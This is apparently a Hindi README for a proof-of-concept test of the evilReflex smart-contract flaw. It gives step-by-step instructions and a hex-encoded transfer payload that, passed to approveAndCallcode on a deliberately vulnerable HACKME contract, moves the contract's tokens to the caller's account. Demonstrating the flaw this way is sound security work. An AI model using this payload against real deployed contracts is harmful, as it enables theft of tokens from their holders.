EvilReflex

यह क्या है?

यह स्मार्ट कॉन्ट्रैक्ट में evilReflex भेद्यता के लिए एक सरल परीक्षण है।

कैसे परीक्षण करें?

चरण 1：evilReflex.sol को कंपाइल करें

चरण 2：HACKME को डिप्लॉय करें

उदाहरण:

Account Address： 0x62ba0a06ffc1d0a706172e1ed755b9b91f53a617
balance: 10090000000000000000000000

Contract address： 0x26336eb6761d7c6ac28251d5e20f63623fc16ad5
balance: 10090000000000000000000000

चरण 3：एनकोड करें

transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000) को बाइटकोड में बदलें जैसे 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000

चरण 4：approveAndCallcode फ़ंक्शन को कॉल करें और निम्नलिखित पैरामीटर पास करें:

approveAndCallcode(
    0xf8e81D47203A594245E36C48e151709F0C19fBe8,
    0,
    0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
 )

चरण 5：अपने खाते की संपत्तियों की जाँच करें और आप पाएंगे कि संपत्तियाँ बढ़ गई हैं और अनुबंध की संपत्तियाँ शून्य हो गई हैं।

संदर्भ

https://blog.peckshield.com/2018/06/23/evilReflex/